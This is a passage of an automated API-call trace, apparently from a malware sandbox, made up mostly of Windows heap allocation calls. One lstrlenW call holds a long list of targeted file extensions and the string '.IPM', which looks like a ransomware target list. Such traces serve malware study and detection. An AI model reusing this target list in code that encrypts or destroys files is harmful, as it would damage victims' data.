Size=0xa) returned 0x61b670 [0063.596] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b718 [0063.596] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a138 [0063.596] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b730 [0063.596] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606c78, Size=0x80) returned 0x62b450 [0063.596] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b748 [0063.596] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b760 [0063.596] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b778 [0063.596] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b790 [0063.596] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b7a8 [0063.596] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61b7c0 [0063.596] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b7d8 [0063.596] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a198 [0063.596] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b7f0 [0063.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b808 [0063.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61b820 [0063.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b838 [0063.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61b850 [0063.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b868 [0063.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61b880 [0063.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b898 [0063.597] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62b450, Size=0x100) returned 0x61e070 [0063.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b8b0 [0063.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b8c8 [0063.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b8e0 [0063.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x61b8f8 [0063.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b910 [0063.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b928 [0063.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a1a8 [0063.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b940 [0063.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b958 [0063.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b970 [0063.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6) returned 0x60a1b8 [0063.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b988 [0063.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61bb60 [0063.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a1c8 [0063.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61bb78 [0063.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61bb90 [0063.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61bba8 [0063.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61bbc0 [0063.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61bbd8 [0063.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61bbf0 [0063.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x61bc08 [0063.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61bc20 [0063.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x61bc38 [0063.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61bc50 [0063.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61bc68 [0063.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61bc80 [0063.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61bc98 [0063.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a1d8 [0063.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61bcb0 [0063.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61bcc8 [0063.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61bce0 [0063.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61bcf8 [0063.599] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61e070, Size=0x200) returned 0x65d468 [0063.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61bd10 [0063.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a1e8 [0063.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61bd28 [0063.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61bd40 [0063.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61bd58 [0063.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61bd70 [0063.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61bd88 [0063.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61bda0 [0063.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61bdb8 [0063.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61bdd0 [0063.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61bde8 [0063.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61be00 [0063.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61be18 [0063.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61be30 [0063.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61be48 [0063.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61be60 [0063.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61be78 [0063.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61be90 [0063.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61bea8 [0063.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61bec0 [0063.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61bed8 [0063.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61bef0 [0063.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61bf08 [0063.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a1f8 [0063.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61bf20 [0063.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d688 [0063.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d6a0 [0063.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a208 [0063.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d6b8 [0063.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65d6d0 [0063.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d6e8 [0063.601] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d700 [0063.601] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d718 [0063.601] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d730 [0063.601] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d748 [0063.601] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d760 [0063.601] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65d778 [0063.601] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65d790 [0063.601] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d7a8 [0063.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d7c0 [0063.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d7d8 [0063.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65d7f0 [0063.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d808 [0063.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d820 [0063.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d838 [0063.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d850 [0063.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d868 [0063.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d880 [0063.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d898 [0063.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a218 [0063.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6) returned 0x60a228 [0063.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d8b0 [0063.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d8c8 [0063.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d8e0 [0063.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d8f8 [0063.603] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d910 [0063.603] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65d928 [0063.603] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d940 [0063.603] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d958 [0063.603] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d970 [0063.603] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d988 [0063.603] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65d9a0 [0063.603] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d9b8 [0063.603] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d9d0 [0063.603] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x65d468, Size=0x400) returned 0x65da70 [0063.603] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d9e8 [0063.603] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65da00 [0063.603] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65da18 [0063.603] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65da30 [0063.603] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65da48 [0063.603] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65de90 [0063.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65dea8 [0063.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65dec0 [0063.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65ded8 [0063.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65def0 [0063.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a238 [0063.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65df08 [0063.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65df20 [0063.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65df38 [0063.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65df50 [0063.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65df68 [0063.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65df80 [0063.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x65df98 [0063.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65dfb0 [0063.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65dfc8 [0063.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65dfe0 [0063.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65dff8 [0063.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e010 [0063.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e028 [0063.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e040 [0063.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e058 [0063.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a248 [0063.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e070 [0063.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e088 [0063.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e0a0 [0063.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e0b8 [0063.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e0d0 [0063.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e0e8 [0063.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e100 [0063.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e118 [0063.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e130 [0063.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x65e148 [0063.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e160 [0063.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x65e178 [0063.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e190 [0063.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e1a8 [0063.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e1c0 [0063.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e1d8 [0063.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e1f0 [0063.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65e208 [0063.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e220 [0063.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e238 [0063.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e250 [0063.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e290 [0063.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e2a8 [0063.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e2c0 [0063.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e2d8 [0063.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e2f0 [0063.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e308 [0063.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e320 [0063.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e338 [0063.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e350 [0063.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e368 [0063.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e380 [0063.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e398 [0063.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e3b0 [0063.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e3c8 [0063.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x65e3e0 [0063.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x12) returned 0x606100 [0063.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e3f8 [0063.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e410 [0063.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e428 [0063.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e440 [0063.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e458 [0063.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e470 [0063.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e488 [0063.608] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e4a0 [0063.608] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e4b8 [0063.608] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e4d0 [0063.608] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e4e8 [0063.608] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e500 [0063.608] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e518 [0063.608] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e530 [0063.608] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e548 [0063.608] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e560 [0063.608] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e578 [0063.608] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e590 [0063.608] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e5a8 [0063.608] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e5c0 [0063.608] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65e5d8 [0063.608] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65e5f0 [0063.608] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65e608 [0063.609] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x65e620 [0063.609] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65e638 [0063.609] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a258 [0063.609] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e650 [0063.609] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a268 [0063.609] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e690 [0063.609] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e6a8 [0063.609] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e6c0 [0063.609] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65e6d8 [0063.609] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65e6f0 [0063.609] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e708 [0063.609] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65e720 [0063.609] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e738 [0063.609] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e750 [0063.609] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65e768 [0063.609] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e780 [0063.610] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65e798 [0063.610] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65e7b0 [0063.610] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e7c8 [0063.610] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a278 [0063.610] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e7e0 [0063.610] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x65da70, Size=0x800) returned 0x65ea78 [0063.610] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0063.610] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x624820 | out: hHeap=0x5d0000) returned 1 [0063.610] lstrlenW (lpString="") returned 0 [0063.610] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65f970 | out: hHeap=0x5d0000) returned 1 [0063.610] lstrlenW (lpString=".IPM") returned 4 [0063.611] lstrlenW (lpString=".IPM") returned 4 [0063.611] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65f970 | out: hHeap=0x5d0000) returned 1 [0063.611] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x65f9a0, Size=0x20) returned 0x605958 [0063.611] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605958, Size=0x40) returned 0x606c78 [0063.611] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606c78, Size=0x80) returned 0x62b450 [0063.611] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a2e8, Size=0x8) returned 0x60a2f8 [0063.611] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a2f8, Size=0x10) returned 0x65f9a0 [0063.611] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x65f9a0, Size=0x20) returned 